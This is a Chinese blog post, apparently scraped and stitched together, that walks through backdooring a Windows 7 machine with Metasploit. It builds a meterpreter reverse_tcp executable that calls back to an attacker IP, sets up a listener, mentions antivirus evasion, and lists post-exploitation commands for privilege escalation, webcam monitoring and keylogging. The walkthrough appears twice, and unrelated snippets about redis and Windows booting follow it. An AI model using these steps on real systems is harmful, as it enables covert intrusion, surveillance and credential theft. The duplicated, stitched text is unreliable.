Windows7過程總結與後續手段

2021-08-18 13:45:54 字數 2329 閱讀 2419

使用metaploit進行滲透測試windows7:

sfpayload windows/meterpreter/reverse_tcp lhost=192.168.0.149 x >steup.exe

方法步驟二:直接就能進入所在的目錄並將屬性進行修改,換為允許以程式執行檔案,詳細如下圖。

進入所在目錄,修改屬性:選擇「允許以程式執行檔案」,這時候也可以做一些免殺

方法步驟三:接著開啟msfconsole並載入exploit/multi/handler模組並進行設定本地主機,最後就能開始進行監聽了,詳細情況如下圖。

開啟msfconsole,載入exploit/multi/handler模組,設定本地主機;然後開始監聽:exploit -z -j :

方法步驟四:需要能將程式直接拷貝都目標主機中並進行執行。

方法步驟五:以上步驟全部完成後就能通過後門程式反向連線到msf,用msf就能發起第2次的攻擊然後使用客戶端也就是後門程式就能連線都服務端msf,詳細的如下圖。

meterpreter就是metasploit框架中的乙個擴充套件模組,因此的話溢位成功後就能攻擊載荷進行使用,一旦攻擊載荷在溢位攻擊成功後就能再返回乙個控制通道,這樣就能將它作為攻擊載荷成功獲得目標系統的乙個meterpretershell的鏈結。

另外,附meterpreter常用命令:

getsystem #會自動利用各種各樣的系統漏洞來進行許可權提公升

migrate #程序id程序遷移

background #把當前的會話設定為背景,需要的時候在啟用

getuid #檢視對方正在執行的使用者

ps #列出所有的程序

getpid #返回執行meterpreter的id號

sysinfo #產看系統資訊和體系結構

shell #切換到cmd的系統許可權方式

exit #退出shell會話返回meterpreter或終止meterpreter

getdesktop 擷取目標主機當前桌面會話視窗

run webcam -p /var/www #在/var/www目錄監控目標主機的攝像頭

keylog_recorder #使用migrate將會話遷移至explorer.exe的程序空間後記錄鍵盤

sfpayload windows/meterpreter/reverse_tcp lhost=192.168.0.149 x >steup.exe

方法步驟二:直接就能進入所在的目錄並將屬性進行修改,換為允許以程式執行檔案,詳細如下圖。

進入所在目錄,修改屬性:選擇「允許以程式執行檔案」,這時候也可以做一些免殺

方法步驟三:接著開啟msfconsole並載入exploit/multi/handler模組並進行設定本地主機,最後就能開始進行監聽了,詳細情況如下圖。

開啟msfconsole,載入exploit/multi/handler模組,設定本地主機;然後開始監聽:exploit -z -j :

方法步驟四:需要能將程式直接拷貝都目標主機中並進行執行。

方法步驟五:以上步驟全部完成後就能通過後門程式反向連線到msf,用msf就能發起第2次的攻擊然後使用客戶端也就是後門程式就能連線都服務端msf,詳細的如下圖。

meterpreter就是metasploit框架中的乙個擴充套件模組,因此的話溢位成功後就能攻擊載荷進行使用,一旦攻擊載荷在溢位攻擊成功後就能再返回乙個控制通道,這樣就能將它作為攻擊載荷成功獲得目標系統的乙個meterpretershell的鏈結。

另外,附meterpreter常用命令:

getsystem #會自動利用各種各樣的系統漏洞來進行許可權提公升

migrate #程序id程序遷移

background #把當前的會話設定為背景,需要的時候在啟用

getuid #檢視對方正在執行的使用者

ps #列出所有的程序

getpid #返回執行meterpreter的id號

sysinfo #產看系統資訊和體系結構

shell #切換到cmd的系統許可權方式

exit #退出shell會話返回meterpreter或終止meterpreter

getdesktop 擷取目標主機當前桌面會話視窗

run webcam -p /var/www #在/var/www目錄監控目標主機的攝像頭

keylog_recorder #使用migrate將會話遷移至explorer.exe的程序空間後記錄鍵盤

windows7安裝redis過程

本來linux用的挺好的,忽然領導扔你乙個溫豆死,還要搞個專案,還要裝redis,還要裝mongodb。記錄一下安裝過程 redis官網是不提供win版本的 但是有乙個給了乙個git鏈結有win版本的 找開cmd,cd到你安裝的目錄,然後執行redis server.exe redis.window...

Windows 7 啟動過程略解

windows 7 啟動過程略解 win 7 啟動一般順序為 bios mbr bootmgr bcd winload.exe 核心載入。1 開機後,bios進行開機自檢 post 然後選擇從硬碟進行啟動,載入硬碟的mbr並把控制權交給mbr mbr是硬碟的第乙個扇區,它不在任何乙個分區內 2 mb...

windows 7 引導過程概述

from window 7 的核心版本號是 nt6.1 和 vista nt6.0 還是屬於乙個系列的,因此採用了一樣的啟動管理機制。對於雙系統來說,正如 98 和 xp 共存的雙系統一樣,xp 和 7 共存的算系統安裝也是要有先後順序的。因為windows 的啟動管理屬於向下相容,7 的可以相容 ...